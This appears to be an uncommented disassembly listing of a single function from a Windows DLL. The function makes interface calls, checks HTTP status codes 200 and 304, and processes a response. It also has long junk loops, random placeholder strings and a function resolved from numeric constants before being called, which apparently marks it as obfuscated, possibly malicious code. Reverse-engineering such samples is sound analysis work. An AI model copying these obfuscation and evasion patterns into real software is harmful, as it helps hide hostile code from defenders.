movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x420]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x460]
push dword [ebp - 0x22c]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10005649
mov esi, dword [ebp - 0x1d4]
mov cl, 1
mov dword [ebp - 0x68], ebx
cmp esi, dword [ebp - 0x1d0]
je 0x1000543b
add esi, 0x18
test cl, cl
je 0x10005423
cmp dword [esi + 0x14], 8
jb 0x10005402
mov edi, dword [esi]
jmp 0x10005404
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1000540f
mov edx, dword [esi - 0x18]
jmp 0x10005412
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x48]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10005425
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1d0]
jne 0x100053f4
test cl, cl
je 0x10005649
mov eax, dword [ebp - 0x48]
lea esi, [ebp - 0x420]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10005649
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x68]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10005649
cmp dword [ebp - 0x68], 0x130
je 0x10005486
cmp dword [ebp - 0x68], 0xc8
jne 0x10005649
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x498]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10005649
mov esi, dword [ebp - 0x490]
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x84], esi
test esi, esi
je 0x10005649
mov eax, dword [esi]
lea ecx, [ebp - 0x698]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x10005643
mov dword [ebp - 0x2c], 0x579
cmp dword [ebp - 0x2c], 0x6cf
jle 0x1000554e
push ebx
push 0x865
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x7c], 0x2d4e
mov edi, dword [ebp - 0x18]
mov eax, ebx
mov dword [ebp - 0x34], eax
mov ecx, eax
mov dword [ebp - 0x94], edi
mov esi, ebx
shl edi, cl
mov eax, edi
mov ecx, 0x100808b8
or eax, esi
cdq
push edx
push eax
call fcn.100059e4
inc esi
cmp esi, 0x2e70
jl 0x10005509
mov eax, dword [ebp - 0x34]
mov edi, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x515a
jl 0x100054fd
mov edi, dword [ebp - 0x80]
add dword [ebp - 0x18], edi
dec dword [ebp - 0x7c]
jne 0x100054f5
inc edi
mov dword [ebp - 0x80], edi
cmp edi, 0x1705
jl 0x100054eb
mov esi, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x690]
mov eax, dword [ebp - 0x68c]
mov byte [ebp - 4], 0x34
cmp dword [ebp - 0x2c], 0x3cf
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], eax
jge 0x1000557c
mov edx, str.qkr_hjcmcsd_zmui_oqkcdl_vdykfh_yqq
mov ecx, 0x100808b8
call fcn.10008020
mov dword [ebp - 4], 0x33
push 0x61bf
push ecx
lea eax, [ebp - 0x1ec]
mov dword [ebp - 0x98], edi
push eax
push 0x43c9
push ebx
push 0x37d
push 0x207c
mov edx, 0x115b
lea ecx, [ebp - 0x98]
call fcn.1000281b
mov edi, dword [ebp - 0x98]
mov eax, ebx
add esp, 0x1c
mov dword [ebp - 0x1a0], ebx
mov dword [ebp - 0x184], eax
add eax, dword [ebp - 0x1ec]
lea edx, [ebp - 0x1a0]
mov ecx, dword [esi]
push edx
push edi
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x10005618
push ebx
lea eax, [ebp - 0x1a0]
mov edx, 0x3d32
push eax
push ecx
push ecx
lea eax, [ebp - 0x184]
push eax
call fcn.10002cc1
sub edi, dword [ebp - 0x1a0]
add esp, 0x14
mov eax, dword [ebp - 0x184]
cmp eax, dword [ebp - 0x98]
jb 0x100055cd
push ecx
push 0x3a4f
push ecx
push 0x2ee3
lea eax, [ebp - 0x184]
mov dl, 1
push eax
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x1ec]
push eax
call fcn.10001e1a
add esp, 0x1c
mov eax, dword [esi]
push esi
call dword [eax + 8]
cmp dword [ebp - 0x14], 0x1065
jge 0x1000565d
push str.xkhnl_vbhzw_uxrfd_zbmvgzelc_ipxwc_fffgsofb_numdknl_iiqic_gxmlgl_rwejh
call fcn.1004da8c
pop ecx
lea eax, [ebp - 0x48]
mov dword [ebp - 4], 0x33
push eax
push 0xda
push 1
push 1
mov edx, 0x553e
mov cl, 1
call fcn.10002d59
add esp, 0x10
mov dword [ebp - 0x48], ebx
lea ecx, [ebp - 0x22c]
call fcn.100064ae
lea ecx, [ebp - 0x270]
call fcn.100064ae
push ebx
push 1
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0x29
call fcn.10006341
push 0x110bc
push 0xfaec
call fcn.10030f9c
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x284]
lea eax, [ebp - 0x1ec]
push eax
call fcn.10005d2b
push ebx
push 1
lea ecx, [ebp - 0x354]
call fcn.10006341
push ebx
push 1
lea ecx, [ebp - 0x378]
call fcn.10006341
lea ecx, [ebp - 0x1d4]
call fcn.100063bd
lea ecx, [ebp - 0x1ec]
call fcn.10006438
lea ecx, [ebp + 8]
call fcn.100063bd
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret